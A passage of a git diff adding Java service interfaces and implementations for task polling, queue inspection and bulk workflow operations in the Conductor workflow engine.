Log Task Execution Details. + * + * @param taskId Id of the task + * @param log Details you want to log + */ + void log(@NotEmpty(message = "TaskId cannot be null or empty.") String taskId, String log); + + /** + * Get Task Execution Logs. + * + * @param taskId Id of the task. + * @return list of {@link TaskExecLog} + */ + List getTaskLogs( + @NotEmpty(message = "TaskId cannot be null or empty.") String taskId); + + /** + * Get task by Id. + * + * @param taskId Id of the task. + * @return instance of {@link Task} + */ + Task getTask(@NotEmpty(message = "TaskId cannot be null or empty.") String taskId); + + /** + * Remove Task from a Task type queue. + * + * @param taskType Task Name + * @param taskId ID of the task + */ + void removeTaskFromQueue( + @NotEmpty(message = "TaskType cannot be null or empty.") String taskType, + @NotEmpty(message = "TaskId cannot be null or empty.") String taskId); + + /** + * Remove Task from a Task type queue. + * + * @param taskId ID of the task + */ + void removeTaskFromQueue(@NotEmpty(message = "TaskId cannot be null or empty.") String taskId); + + /** + * Get Task type queue sizes. + * + * @param taskTypes List of task types. + * @return map of task type as Key and queue size as value. + */ + Map getTaskQueueSizes(List taskTypes); + + /** + * Get the queue size for a Task Type. The input can optionally include domain, + * isolationGroupId and executionNamespace. + * + * @return + */ + Integer getTaskQueueSize( + String taskType, String domain, String isolationGroupId, String executionNamespace); + + /** + * Get the details about each queue. + * + * @return map of queue details. + */ + Map>> allVerbose(); + + /** + * Get the details about each queue. + * + * @return map of details about each queue. + */ + Map getAllQueueDetails(); + + /** + * Get the last poll data for a given task type. + * + * @param taskType Task Name + * @return list of {@link PollData} + */ + List getPollData( + @NotEmpty(message = "TaskType cannot be null or empty.") String taskType); + + /** + * Get the last poll data for all task types. + * + * @return list of {@link PollData} + */ + List getAllPollData(); + + /** + * Requeue pending tasks. + * + * @param taskType Task name. + * @return number of tasks requeued. + */ + String requeuePendingTask( + @NotEmpty(message = "TaskType cannot be null or empty.") String taskType); + + /** + * Search for tasks based in payload and other parameters. Use sort options as ASC or DESC e.g. + * sort=name or sort=workflowId. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort Sorting type ASC|DESC + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + SearchResult search( + int start, int size, String sort, String freeText, String query); + + /** + * Search for tasks based in payload and other parameters. Use sort options as ASC or DESC e.g. + * sort=name or sort=workflowId. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort Sorting type ASC|DESC + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + SearchResult searchV2(int start, int size, String sort, String freeText, String query); + + /** + * Get the external storage location where the task output payload is stored/to be stored + * + * @param path the path for which the external storage location is to be populated + * @param operation the operation to be performed (read or write) + * @param payloadType the type of payload (input or output) + * @return {@link ExternalStorageLocation} containing the uri and the path to the payload is + * stored in external storage + */ + ExternalStorageLocation getExternalStorageLocation( + String path, String operation, String payloadType); + + String updateTask( + String workflowId, + String taskRefName, + TaskResult.Status status, + String workerId, + Map output); +} diff --git a/core/src/main/java/com/netflix/conductor/service/TaskServiceImpl.java b/core/src/main/java/com/netflix/conductor/service/TaskServiceImpl.java new file mode 100644 index 0000000..1a6456c --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/service/TaskServiceImpl.java @@ -0,0 +1,399 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Service; + +import com.netflix.conductor.annotations.Audit; +import com.netflix.conductor.annotations.Trace; +import com.netflix.conductor.common.metadata.tasks.PollData; +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskExecLog; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.common.run.ExternalStorageLocation; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.core.utils.QueueUtils; +import com.netflix.conductor.dao.QueueDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel; + +@Audit +@Trace +@Service +public class TaskServiceImpl implements TaskService { + + private static final Logger LOGGER = LoggerFactory.getLogger(TaskServiceImpl.class); + private final ExecutionService executionService; + private final QueueDAO queueDAO; + + public TaskServiceImpl(ExecutionService executionService, QueueDAO queueDAO) { + this.executionService = executionService; + this.queueDAO = queueDAO; + } + + /** + * Poll for a task of a certain type. + * + * @param taskType Task name + * @param workerId id of the workflow + * @param domain Domain of the workflow + * @return polled {@link Task} + */ + public Task poll(String taskType, String workerId, String domain) { + LOGGER.debug("Task being polled: /tasks/poll/{}?{}&{}", taskType, workerId, domain); + Task task = executionService.getLastPollTask(taskType, workerId, domain); + if (task != null) { + LOGGER.debug( + "The Task {} being returned for /tasks/poll/{}?{}&{}", + task, + taskType, + workerId, + domain); + } + Monitors.recordTaskPollCount(taskType, domain, 1); + return task; + } + + /** + * Batch Poll for a task of a certain type. + * + * @param taskType Task Name + * @param workerId id of the workflow + * @param domain Domain of the workflow + * @param count Number of tasks + * @param timeout Timeout for polling in milliseconds + * @return list of {@link Task} + */ + public List batchPoll( + String taskType, String workerId, String domain, Integer count, Integer timeout) { + LOGGER.debug( + "Tasks being batch polled: /tasks/poll/batch/{}?{}&{}&{}&{}", + taskType, + workerId, + domain, + count, + timeout); + List polledTasks = executionService.poll(taskType, workerId, domain, count, timeout); + LOGGER.debug( + "The Tasks {} being returned for /tasks/poll/batch/{}?{}&{}&{}&{}", + polledTasks.stream().map(Task::getTaskId).collect(Collectors.toList()), + taskType, + workerId, + domain, + count, + timeout); + Monitors.recordTaskPollCount(taskType, domain, polledTasks.size()); + return polledTasks; + } + + /** + * Get in progress tasks. The results are paginated. + * + * @param taskType Task Name + * @param startKey Start index of pagination + * @param count Number of entries + * @return list of {@link Task} + */ + public List getTasks(String taskType, String startKey, Integer count) { + return executionService.getTasks(taskType, startKey, count); + } + + /** + * Get in progress task for a given workflow id. + * + * @param workflowId id of the workflow + * @param taskReferenceName Task reference name. + * @return instance of {@link Task} + */ + public Task getPendingTaskForWorkflow(String workflowId, String taskReferenceName) { + return executionService.getPendingTaskForWorkflow(taskReferenceName, workflowId); + } + + /** + * Updates a task. + * + * @param taskResult Instance of {@link TaskResult} + * @return the updated task. + */ + public TaskModel updateTask(TaskResult taskResult) { + LOGGER.debug( + "Update Task: {} with callback time: {}", + taskResult, + taskResult.getCallbackAfterSeconds()); + return executionService.updateTask(taskResult); + } + + @Override + public String updateTask( + String workflowId, + String taskRefName, + TaskResult.Status status, + String workerId, + Map output) { + Task pending = getPendingTaskForWorkflow(workflowId, taskRefName); + if (pending == null) { + return null; + } + + TaskResult taskResult = new TaskResult(pending); + taskResult.setStatus(status); + taskResult.getOutputData().putAll(output); + if (StringUtils.isNotBlank(workerId)) { + taskResult.setWorkerId(workerId); + } + TaskModel updatedTask = updateTask(taskResult); + if (updatedTask != null) { + return updatedTask.getTaskId(); + } + return null; + } + + /** + * Ack Task is received. + * + * @param taskId id of the task + * @param workerId id of the worker + * @return `true|false` if task is received or not + */ + public String ackTaskReceived(String taskId, String workerId) { + LOGGER.debug("Ack received for task: {} from worker: {}", taskId, workerId); + return String.valueOf(ackTaskReceived(taskId)); + } + + /** + * Ack Task is received. + * + * @param taskId id of the task + * @return `true|false` if task is received or not + */ + public boolean ackTaskReceived(String taskId) { + LOGGER.debug("Ack received for task: {}", taskId); + AtomicBoolean ackResult = new AtomicBoolean(false); + try { + ackResult.set(executionService.ackTaskReceived(taskId)); + } catch (Exception e) { + // Fail the task and let decide reevaluate the workflow, thereby preventing workflow + // being stuck from transient ack errors. + String errorMsg = String.format("Error when trying to ack task %s", taskId); + LOGGER.error(errorMsg, e); + Task task = executionService.getTask(taskId); + Monitors.recordAckTaskError(task.getTaskType()); + failTask(task, errorMsg); + ackResult.set(false); + } + return ackResult.get(); + } + + /** Updates the task with FAILED status; On exception, fails the workflow. */ + private void failTask(Task task, String errorMsg) { + try { + TaskResult taskResult = new TaskResult(); + taskResult.setStatus(TaskResult.Status.FAILED); + taskResult.setTaskId(task.getTaskId()); + taskResult.setWorkflowInstanceId(task.getWorkflowInstanceId()); + taskResult.setReasonForIncompletion(errorMsg); + executionService.updateTask(taskResult); + } catch (Exception e) { + LOGGER.error( + "Unable to fail task: {} in workflow: {}", + task.getTaskId(), + task.getWorkflowInstanceId(), + e); + executionService.terminateWorkflow( + task.getWorkflowInstanceId(), "Failed to ack task: " + task.getTaskId()); + } + } + + /** + * Log Task Execution Details. + * + * @param taskId id of the task + * @param log Details you want to log + */ + public void log(String taskId, String log) { + executionService.log(taskId, log); + } + + /** + * Get Task Execution Logs. + * + * @param taskId id of the task. + * @return list of {@link TaskExecLog} + */ + public List getTaskLogs(String taskId) { + return executionService.getTaskLogs(taskId); + } + + /** + * Get task by Id. + * + * @param taskId id of the task. + * @return instance of {@link Task} + */ + public Task getTask(String taskId) { + return executionService.getTask(taskId); + } + + /** + * Remove Task from a Task type queue. + * + * @param taskType Task Name + * @param taskId ID of the task + */ + public void removeTaskFromQueue(String taskType, String taskId) { + executionService.removeTaskFromQueue(taskId); + } + + /** + * Remove Task from a Task type queue. + * + * @param taskId ID of the task + */ + public void removeTaskFromQueue(String taskId) { + executionService.removeTaskFromQueue(taskId); + } + + /** + * Get Task type queue sizes. + * + * @param taskTypes List of task types. + * @return map of task type as Key and queue size as value. + */ + public Map getTaskQueueSizes(List taskTypes) { + return executionService.getTaskQueueSizes(taskTypes); + } + + @Override + public Integer getTaskQueueSize( + String taskType, String domain, String isolationGroupId, String executionNamespace) { + String queueName = + QueueUtils.getQueueName( + taskType, + StringUtils.trimToNull(domain), + StringUtils.trimToNull(isolationGroupId), + StringUtils.trimToNull(executionNamespace)); + + return executionService.getTaskQueueSize(queueName); + } + + /** + * Get the details about each queue. + * + * @return map of queue details. + */ + public Map>> allVerbose() { + return queueDAO.queuesDetailVerbose(); + } + + /** + * Get the details about each queue. + * + * @return map of details about each queue. + */ + public Map getAllQueueDetails() { + return queueDAO.queuesDetail().entrySet().stream() + .sorted(Entry.comparingByKey()) + .collect( + Collectors.toMap( + Entry::getKey, + Entry::getValue, + (v1, v2) -> v1, + LinkedHashMap::new)); + } + + /** + * Get the last poll data for a given task type. + * + * @param taskType Task Name + * @return list of {@link PollData} + */ + public List getPollData(String taskType) { + return executionService.getPollData(taskType); + } + + /** + * Get the last poll data for all task types. + * + * @return list of {@link PollData} + */ + public List getAllPollData() { + return executionService.getAllPollData(); + } + + /** + * Requeue pending tasks. + * + * @param taskType Task name. + * @return number of tasks requeued. + */ + public String requeuePendingTask(String taskType) { + return String.valueOf(executionService.requeuePendingTasks(taskType)); + } + + /** + * Search for tasks based in payload and other parameters. Use sort options as ASC or DESC e.g. + * sort=name or sort=workflowId. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort Sorting type ASC|DESC + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + public SearchResult search( + int start, int size, String sort, String freeText, String query) { + return executionService.getSearchTasks(query, freeText, start, size, sort); + } + + /** + * Search for tasks based in payload and other parameters. Use sort options as ASC or DESC e.g. + * sort=name or sort=workflowId. If order is not specified, defaults to ASC. + * + * @param start Start index of pagination + * @param size Number of entries + * @param sort Sorting type ASC|DESC + * @param freeText Text you want to search + * @param query Query you want to search + * @return instance of {@link SearchResult} + */ + public SearchResult searchV2( + int start, int size, String sort, String freeText, String query) { + return executionService.getSearchTasksV2(query, freeText, start, size, sort); + } + + /** + * Get the external storage location where the task output payload is stored/to be stored + * + * @param path the path for which the external storage location is to be populated + * @param operation the operation to be performed (read or write) + * @param type the type of payload (input or output) + * @return {@link ExternalStorageLocation} containing the uri and the path to the payload is + * stored in external storage + */ + public ExternalStorageLocation getExternalStorageLocation( + String path, String operation, String type) { + return executionService.getExternalStorageLocation(path, operation, type); + } +} diff --git a/core/src/main/java/com/netflix/conductor/service/VersionService.java b/core/src/main/java/com/netflix/conductor/service/VersionService.java new file mode 100644 index 0000000..21a0057 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/service/VersionService.java @@ -0,0 +1,34 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import org.springframework.boot.info.BuildProperties; +import org.springframework.stereotype.Service; + +import lombok.extern.slf4j.Slf4j; + +@Service +@Slf4j +public class VersionService { + + private final String version; + + public VersionService(BuildProperties buildProperties) { + this.version = buildProperties.getVersion(); + log.info("Conductor version: {}", this.version); + } + + public String getVersion() { + return version; + } +} diff --git a/core/src/main/java/com/netflix/conductor/service/WorkflowBulkService.java b/core/src/main/java/com/netflix/conductor/service/WorkflowBulkService.java new file mode 100644 index 0000000..a82a8d5 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/service/WorkflowBulkService.java @@ -0,0 +1,99 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.List; + +import org.springframework.validation.annotation.Validated; + +import com.netflix.conductor.common.model.BulkResponse; +import com.netflix.conductor.model.WorkflowModel; + +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.Size; + +@Validated +public interface WorkflowBulkService { + + int MAX_REQUEST_ITEMS = 1000; + + BulkResponse pauseWorkflow( + @NotEmpty(message = "WorkflowIds list cannot be null.") + @Size( + max = MAX_REQUEST_ITEMS, + message = + "Cannot process more than {max} workflows. Please use multiple requests.") + List workflowIds); + + BulkResponse resumeWorkflow( + @NotEmpty(message = "WorkflowIds list cannot be null.") + @Size( + max = MAX_REQUEST_ITEMS, + message = + "Cannot process more than {max} workflows. Please use multiple requests.") + List workflowIds); + + BulkResponse restart( + @NotEmpty(message = "WorkflowIds list cannot be null.") + @Size( + max = MAX_REQUEST_ITEMS, + message = + "Cannot process more than {max} workflows. Please use multiple requests.") + List workflowIds, + boolean useLatestDefinitions); + + BulkResponse retry( + @NotEmpty(message = "WorkflowIds list cannot be null.") + @Size( + max = MAX_REQUEST_ITEMS, + message = + "Cannot process more than {max} workflows. Please use multiple requests.") + List workflowIds); + + BulkResponse terminate( + @NotEmpty(message = "WorkflowIds list cannot be null.") + @Size( + max = MAX_REQUEST_ITEMS, + message = + "Cannot process more than {max} workflows. Please use multiple requests.") + List workflowIds, + String reason); + + BulkResponse deleteWorkflow( + @NotEmpty(message = "WorkflowIds list cannot be null.") + @Size( + max = MAX_REQUEST_ITEMS, + message = + "Cannot process more than {max} workflows. Please use multiple requests.") + List workflowIds, + boolean archiveWorkflow); + + BulkResponse terminateRemove( + @NotEmpty(message = "WorkflowIds list cannot be null.") + @Size( + max = MAX_REQUEST_ITEMS, + message = + "Cannot process more than {max} workflows. Please use multiple requests.") + List workflowIds, + String reason, + boolean archiveWorkflow); + + BulkResponse searchWorkflow( + @NotEmpty(message = "WorkflowIds list cannot be null.") + @Size( + max = MAX_REQUEST_ITEMS, + message = + "Cannot process more than {max} workflows. Please use multiple requests.") + List workflowIds, + boolean includeTasks); +} diff --git a/core/src/main/java/com/netflix/conductor/service/WorkflowBulkServiceImpl.java b/core/src/main/java/com/netflix/conductor/service/WorkflowBulkServiceImpl.java new file mode 100644 index 0000000..aadacf9 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/service/WorkflowBulkServiceImpl.java @@ -0,0 +1,265 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Service; + +import com.netflix.conductor.annotations.Audit; +import com.netflix.conductor.annotations.Trace; +import com.netflix.conductor.common.model.BulkResponse; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.WorkflowModel; + +@Audit +@Trace +@Service +public class WorkflowBulkServiceImpl implements WorkflowBulkService { + + private static final Logger LOGGER = LoggerFactory.getLogger(WorkflowBulkService.class); + private final WorkflowExecutor workflowExecutor; + private final WorkflowService workflowService; + + public WorkflowBulkServiceImpl( + WorkflowExecutor workflowExecutor, WorkflowService workflowService) { + this.workflowExecutor = workflowExecutor; + this.workflowService = workflowService; + } + + /** + * Pause the list of workflows. + * + * @param workflowIds - list of workflow Ids to perform pause operation on + * @return bulk response object containing a list of succeeded workflows and a list of failed + * ones with errors + */ + public BulkResponse pauseWorkflow(List workflowIds) { + + BulkResponse bulkResponse = new BulkResponse<>(); + for (String workflowId : workflowIds) { + try { + workflowExecutor.pauseWorkflow(workflowId); + bulkResponse.appendSuccessResponse(workflowId); + } catch (Exception e) { + LOGGER.error( + "bulk pauseWorkflow exception, workflowId {}, message: {} ", + workflowId, + e.getMessage(), + e); + bulkResponse.appendFailedResponse(workflowId, e.getMessage()); + } + } + + return bulkResponse; + } + + /** + * Resume the list of workflows. + * + * @param workflowIds - list of workflow Ids to perform resume operation on + * @return bulk response object containing a list of succeeded workflows and a list of failed + * ones with errors + */ + public BulkResponse resumeWorkflow(List workflowIds) { + BulkResponse bulkResponse = new BulkResponse<>(); + for (String workflowId : workflowIds) { + try { + workflowExecutor.resumeWorkflow(workflowId); + bulkResponse.appendSuccessResponse(workflowId); + } catch (Exception e) { + LOGGER.error( + "bulk resumeWorkflow exception, workflowId {}, message: {} ", + workflowId, + e.getMessage(), + e); + bulkResponse.appendFailedResponse(workflowId, e.getMessage()); + } + } + return bulkResponse; + } + + /** + * Restart the list of workflows. + * + * @param workflowIds - list of workflow Ids to perform restart operation on + * @param useLatestDefinitions if true, use latest workflow and task definitions upon restart + * @return bulk response object containing a list of succeeded workflows and a list of failed + * ones with errors + */ + public BulkResponse restart(List workflowIds, boolean useLatestDefinitions) { + BulkResponse bulkResponse = new BulkResponse<>(); + for (String workflowId : workflowIds) { + try { + workflowExecutor.restart(workflowId, useLatestDefinitions); + bulkResponse.appendSuccessResponse(workflowId); + } catch (Exception e) { + LOGGER.error( + "bulk restart exception, workflowId {}, message: {} ", + workflowId, + e.getMessage(), + e); + bulkResponse.appendFailedResponse(workflowId, e.getMessage()); + } + } + return bulkResponse; + } + + /** + * Retry the last failed task for each workflow from the list. + * + * @param workflowIds - list of workflow Ids to perform retry operation on + * @return bulk response object containing a list of succeeded workflows and a list of failed + * ones with errors + */ + public BulkResponse retry(List workflowIds) { + BulkResponse bulkResponse = new BulkResponse<>(); + for (String workflowId : workflowIds) { + try { + workflowExecutor.retry(workflowId, false); + bulkResponse.appendSuccessResponse(workflowId); + } catch (Exception e) { + LOGGER.error( + "bulk retry exception, workflowId {}, message: {} ", + workflowId, + e.getMessage(), + e); + bulkResponse.appendFailedResponse(workflowId, e.getMessage()); + } + } + return bulkResponse; + } + + /** + * Terminate workflows execution. + * + * @param workflowIds - list of workflow Ids to perform terminate operation on + * @param reason - description to be specified for the terminated workflow for future + * references. + * @return bulk response object containing a list of succeeded workflows and a list of failed + * ones with errors + */ + public BulkResponse terminate(List workflowIds, String reason) { + BulkResponse bulkResponse = new BulkResponse<>(); + for (String workflowId : workflowIds) { + try { + workflowExecutor.terminateWorkflow(workflowId, reason); + bulkResponse.appendSuccessResponse(workflowId); + } catch (Exception e) { + LOGGER.error( + "bulk terminate exception, workflowId {}, message: {} ", + workflowId, + e.getMessage(), + e); + bulkResponse.appendFailedResponse(workflowId, e.getMessage()); + } + } + return bulkResponse; + } + + /** + * Removes a list of workflows from the system. + * + * @param workflowIds List of WorkflowIDs of the workflows you want to remove from system. + * @param archiveWorkflow Archives the workflow and associated tasks instead of removing them. + */ + public BulkResponse deleteWorkflow(List workflowIds, boolean archiveWorkflow) { + BulkResponse bulkResponse = new BulkResponse<>(); + for (String workflowId : workflowIds) { + try { + workflowService.deleteWorkflow( + workflowId, + archiveWorkflow); // TODO: change this to method that cancels then deletes + bulkResponse.appendSuccessResponse(workflowId); + } catch (Exception e) { + LOGGER.error( + "bulk delete exception, workflowId {}, message: {} ", + workflowId, + e.getMessage(), + e); + bulkResponse.appendFailedResponse(workflowId, e.getMessage()); + } + } + return bulkResponse; + } + + /** + * Terminates execution for workflows in a list, then removes each workflow. + * + * @param workflowIds List of workflow IDs to terminate and delete. + * @param reason Reason for terminating the workflow. + * @param archiveWorkflow Archives the workflow and associated tasks instead of removing them. + * @return bulk response object containing a list of succeeded workflows and a list of failed + * ones with errors + */ + public BulkResponse terminateRemove( + List workflowIds, String reason, boolean archiveWorkflow) { + BulkResponse bulkResponse = new BulkResponse<>(); + for (String workflowId : workflowIds) { + try { + workflowExecutor.terminateWorkflow(workflowId, reason); + bulkResponse.appendSuccessResponse(workflowId); + } catch (Exception e) { + LOGGER.error( + "bulk terminate exception, workflowId {}, message: {} ", + workflowId, + e.getMessage(), + e); + bulkResponse.appendFailedResponse(workflowId, e.getMessage()); + } + + try { + workflowService.deleteWorkflow(workflowId, archiveWorkflow); + bulkResponse.appendSuccessResponse(workflowId); + } catch (Exception e) { + LOGGER.error( + "bulk delete exception, workflowId {}, message: {} ", + workflowId, + e.getMessage(), + e); + bulkResponse.appendFailedResponse(workflowId, e.getMessage()); + } + } + return bulkResponse; + } + + /** + * Fetch workflow details for given workflowIds. + * + * @param workflowIds List of workflow IDs to terminate and delete. + * @param includeTasks includes tasks from workflow + * @return bulk response object containing a list of workflow details + */ + @Override + public BulkResponse searchWorkflow( + List workflowIds, boolean includeTasks) { + BulkResponse bulkResponse = new BulkResponse<>(); + for (String workflowId : workflowIds) { + try { + WorkflowModel workflowModel = + workflowExecutor.getWorkflow(workflowId, includeTasks); + bulkResponse.appendSuccessResponse(workflowModel); + } catch (Exception e) { + LOGGER.error( + "bulk search exception, workflowId {}, message: {} ", + workflowId, + e.getMessage(), + e); + bulkResponse.appendFailedResponse(workflowId, e.getMessage()); + } + } + return bulkResponse; + } +} diff --git a/core/src/main/java/com/netflix/conductor/service/WorkflowService.java b/core/src/main/java/com/netflix/conductor/service/WorkflowService.java new file mode 100644 index 0000000..27b9248 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/service/WorkflowService.java @@ -0,0 +1,423 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.service; + +import java.util.List; +import java.util.Map; + +import org.springframework.validation.annotation.Validated; + +import com.netflix.conductor.common.metadata.workflow.RerunWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.SkipTaskRequest; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.run.ExternalStorageLocation; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.model.WorkflowModel; + +import jakarta.validation.Valid; +import jakarta.validation.constraints.Max; +import jakarta.validation.constraints.Min; +import jakarta.validation.constraints.NotEmpty; +import jakarta.validation.constraints.NotNull; + +@Validated +public interface WorkflowService { + + /** + * Start a new workflow with StartWorkflowRequest, which allows task to be executed in a domain. + * + * @param startWorkflowRequest StartWorkflow request for the workflow you want to start. + * @return the id of the workflow instance that can be use for tracking. + */ + String startWorkflow( + @NotNull(message = "StartWorkflowRequest cannot be null") @Valid + StartWorkflowRequest startWorkflowRequest); + + /** + * Start a new workflow. Returns the ID of the workflow instance that can be later used for + * tracking. + * + * @param name Name of the workflow you want to start. + * @param version Version of the workflow you want to start. + * @param correlationId CorrelationID of the workflow you want to start. + * @param priority Priority of the workflow you want to start. + * @param input Input to the workflow you want to start. + * @return the id of the workflow instance that can be use for tracking. + */ + String startWorkflow( + @NotEmpty(message = "Workflow name cannot be null or empty") String name, + Integer version, + String correlationId, + @Min(value = 0, message = "0 is the minimum priority value") + @Max(value = 99, message = "99 is the maximum priority value") + Integer priority, + Map input); + + /** + * Start a new workflow. Returns the ID of the workflow instance that can be later used for + * tracking. + * + * @param name Name of the workflow you want to start. + * @param version Version of the workflow you want to start. + * @param correlationId CorrelationID of the workflow you want to start. + * @param priority Priority of the workflow you want to start. + * @param input Input to the workflow you want to start. + * @param externalInputPayloadStoragePath + * @param taskToDomain + * @param workflowDef - workflow definition + * @return the id of the workflow instance that can be use for tracking. + */ + String startWorkflow( + String name, + Integer version, + String correlationId, + Integer priority, + Map input, + String externalInputPayloadStoragePath, + Map taskToDomain, + WorkflowDef workflowDef); + + /** + * Lists workflows for the given correlation id. + * + * @param name Name of the workflow. + * @param correlationId CorrelationID of the workflow you want to list. + * @param includeClosed IncludeClosed workflow which are not running. + * @param includeTasks Includes tasks associated with workflows. + * @return a list of {@link Workflow} + */ + List getWorkflows( + @NotEmpty(message = "Workflow name cannot be null or empty") String name, + String correlationId, + boolean includeClosed, + boolean includeTasks); + + /** + * Lists workflows for the given correlation id. + * + * @param name Name of the workflow. + * @param includeClosed CorrelationID of the workflow you want to start. + * @param includeTasks IncludeClosed workflow which are not running. + * @param correlationIds Includes tasks associated with workflows. + * @return a {@link Map} of {@link String} as key and a list of {@link Workflow} as value + */ + Map> getWorkflows( + @NotEmpty(message = "Workflow name cannot be null or empty") String name, + boolean includeClosed, + boolean includeTasks, + List correlationIds); + + /** + * Gets the workflow by workflow Id. + * + * @param workflowId Id of the workflow. + * @param includeTasks Includes tasks associated with workflow. + * @return an instance of {@link Workflow} + */ + Workflow getExecutionStatus( + @NotEmpty(message = "WorkflowId cannot be null or empty.") String workflowId, + boolean includeTasks); + + /** + * Gets the workflow model by workflow Id. + * + * @param workflowId Id of the workflow. + * @param includeTasks Includes tasks associated with workflow. + * @return an instance of {@link Workflow} + */ + WorkflowModel getWorkflowModel(String workflowId, boolean includeTasks); + + /** + * Removes the workflow from the system. + * + * @param workflowId WorkflowID of the workflow you want to remove from system. + * @param archiveWorkflow Archives the workflow and associated tasks instead of removing them. + */ + void deleteWorkflow( + @NotEmpty(message = "WorkflowId cannot be null or empty.") String workflowId, + boolean archiveWorkflow); + + /** + * Retrieves all the running workflows. + * + * @param workflowName Name of the workflow. + * @param version Version of the workflow. + * @param startTime Starttime of the workflow. + * @param endTime EndTime of the workflow + * @return a list of workflow Ids. + */ + List getRunningWorkflows( + @NotEmpty(message = "Workflow name cannot be null or empty.") String workflowName, + Integer version, + Long startTime, + Long endTime); + + /** + * Starts the decision task for a workflow. + * + * @param workflowId WorkflowId of the workflow. + */ + void decideWorkflow( + @NotEmpty(message = "WorkflowId cannot be null or empty.") String workflowId); + + /** + * Pauses the workflow given a workflowId. + * + * @param workflowId WorkflowId of the workflow. + */ + void pauseWorkflow( + @NotEmpty(message = "WorkflowId cannot be null or empty.") String workflowId); + + /** + * Resumes the workflow. + * + * @param workflowId WorkflowId of the workflow. + */ + void resumeWorkflow( + @NotEmpty(message = "WorkflowId cannot be null or empty.") String workflowId); + + /** + * Skips a given task from a current running workflow. + * + * @param workflowId WorkflowId of the workflow. + * @param taskReferenceName The task reference name. + * @param skipTaskRequest {@link SkipTaskRequest} for task you want to skip. + */ + void skipTaskFromWorkflow( + @NotEmpty(message = "WorkflowId name cannot be null or empty.") String workflowId, + @NotEmpty(message = "TaskReferenceName cannot be null or empty.") + String taskReferenceName, + SkipTaskRequest skipTaskRequest); + + /** + * Reruns the workflow from a specific task. + * + * @param workflowId WorkflowId of the workflow you want to rerun. + * @param request (@link RerunWorkflowRequest) for the workflow. + * @return WorkflowId of the rerun workflow. + */ + String rerunWorkflow( + @NotEmpty(message = "WorkflowId cannot be null or empty.") String workflowId, + @NotNull(message = "RerunWorkflowRequest cannot be null.") + RerunWorkflowRequest request); + + /** + * Restarts a completed workflow. + * + * @param workflowId WorkflowId of the workflow. + * @param useLatestDefinitions if true, use the latest workflow and task definitions upon + * restart + */ + void 